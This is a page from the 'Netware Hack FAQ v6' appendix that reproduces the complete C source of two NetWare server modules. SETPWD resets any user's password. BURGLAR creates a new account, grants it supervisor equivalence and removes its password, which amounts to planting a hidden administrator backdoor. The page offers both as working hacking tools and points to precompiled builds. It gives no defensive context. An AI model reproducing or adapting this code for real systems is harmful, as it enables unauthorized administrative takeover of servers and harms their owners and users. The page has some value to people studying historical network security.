HostedDB - Dedicated UNIX Servers

-->
Netware Hack FAQ v6


Appendix Section

A-05. Source code for SETPWD.NLM and BURGLAR.NLM

Included here for the curious, these sources along with their Makefiles can be found in the "official" ZIP distributions. Note that only Watcom's compiler does the linking properly on NLMs, so you'll need it to compile things properly (assuming your modifying things). The ZIPs contain pre-compiled versions of the code listed below.



/*
	 SETPWD 1.0 - Sets a Novell User Password
    Copyright (C) 1992  P.R.Lees

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 1, or any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
	
	P.R.Lees@ais.salford.ac.uk
	Network Systems Programmer
	University of Salford
	The Crescent
	Salford
	M5 4WT
	
	*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <process.h>
#include <nwcntask.h>
#include <nwbindry.h>

main(int argc,char *argv[])
{
int err;
printf("[SetPwd.nlm (c) 1992 P.R.Lees]\n");
if (argc!=3)
	{
	printf("Usage:\n\tLoad SetPwd <Username> <Password>\n");
	exit(2);
	}

err=ChangeBinderyObjectPassword(argv[1],OT_USER,"",strupr(argv[2]));
if (err) 
	{
	switch(err)
		{
		case 150:printf("Server out of Memory\n");break;
		case 215:printf("Password is not unique\n");break;
		case 240:printf("Wildcard not allowed\n");break;
		case 251:printf("No such Property\n");break;
		case 252:printf("No such Object\n");break;
		case 254:printf("Server bindery locked\n");break;
		case 255:printf("No such object or Bad Password\n");break;
		default:printf("Netware Error 0x%X (%d)\n",err,err);break;
		}
	exit(err);
	}
printf("Password of %s has been set to %s\n",strupr(argv[1]),strupr(argv[2]));
exit(0);
}


/* BURGLAR - To recover the supervisor account of netware 386 

   (c) 1990 Cyco Automation, created by Bart Mellink.
            (My first NLM)

*/
#include <errno.h>
#include <fcntl.h>
#include <io.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <direct.h>
#include <nwtypes.h>
#include <nwbindry.h>
#include <dos.h>

main( int argc, char *argv[] ) {
	long task;
	char *name;

	printf("BURGLAR - Create supervisor equivalent user account\n" );
	printf("          (c) Cyco Automation (bm) 1990\n");

	task=SetCurrentTask(-1L);
	SetCurrentConnection(0);	/* set connection 0 -> superuser */
	SetCtrlCharCheckMode(0); 	/* No abort on ctrl-c */

	name=argv[1];

	if (argc>1) {
		/* First create an user object in the bindery */
		if (CreateBinderyObject(name,OT_USER,BF_STATIC,0x31)==0)
			printf("New user %s created\n",name);
		else
			printf("User %s allready exists\n",name);

		/* User object must have an equivalent property */
		CreateProperty(name,OT_USER,"SECURITY_EQUALS",BF_STATIC|BF_SET,0x32);

		/* Add supervisor equivalent to equivalence property */
		if (AddBinderyObjectToSet(name,OT_USER,"SECURITY_EQUALS","SUPERVISOR",OT_USER)==0)
			printf("User made supervisor equivalent\n");
		else
			printf("User was allready supervisor equivalent\n");
		
		/* Create password property and make empty string */
		if (ChangeBinderyObjectPassword(name,OT_USER,"","")==0)
			printf("Password removed from user\n");
		else {
			/* On error check if we had allready empty password */
			if (VerifyBinderyObjectPassword(name,OT_USER,"")==0)
				printf("Password was allready removed from user\n");
			else
				printf("Could not remove password from user\n");
		}
	}
	else {
		printf("          Error: Username missing from commandline\n");
	}

	ReturnBlockOfTasks(&task,1L);
	ReturnConnection( GetCurrentConnection() );
	return 0;
}

[ Return to TOC | Return to FAQ Page ]